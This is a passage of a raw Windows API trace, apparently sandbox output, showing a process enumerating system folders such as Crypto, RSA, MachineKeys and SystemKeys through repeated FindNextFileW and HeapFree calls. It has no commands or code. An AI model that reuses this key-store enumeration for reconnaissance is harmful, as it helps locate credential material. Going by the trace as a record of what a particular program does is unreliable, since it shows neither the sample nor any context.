dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0276.843] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0276.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.843] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0276.843] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0276.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.843] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Keys", cAlternateFileName="")) returned 1 [0276.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.844] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0276.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.844] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0 [0276.844] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0276.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.844] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RSA", cAlternateFileName="")) returned 1 [0276.844] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.844] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0276.845] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.845] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0276.845] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0276.845] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.845] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0276.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.847] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0276.847] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0276.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0276.849] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1 [0276.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.850] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0276.850] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0276.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0276.850] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0276.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.852] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0276.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.852] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0276.852] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0276.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.852] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Task", cAlternateFileName="")) returned 1 [0276.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.866] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0276.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.866] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0276.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0276.868] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0276.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0276.868] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0276.868] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0276.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0276.868] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Task", cAlternateFileName="")) returned 0 [0276.868] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0276.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0276.870] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0276.958] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0276.958] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0277.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.209] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71bd25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0277.210] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.210] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd71c393, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Server", cAlternateFileName="")) returned 0 [0277.210] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0277.210] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.210] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0x40368daa, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0277.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.211] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0277.211] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0277.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.211] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Views", cAlternateFileName="")) returned 0 [0277.211] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0277.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.213] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0277.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.214] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0277.219] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0277.219] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0 [0277.219] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0277.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.220] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0277.220] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0277.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.222] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0277.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.222] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0277.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.223] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0277.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0277.223] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0277.223] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0277.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0277.223] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 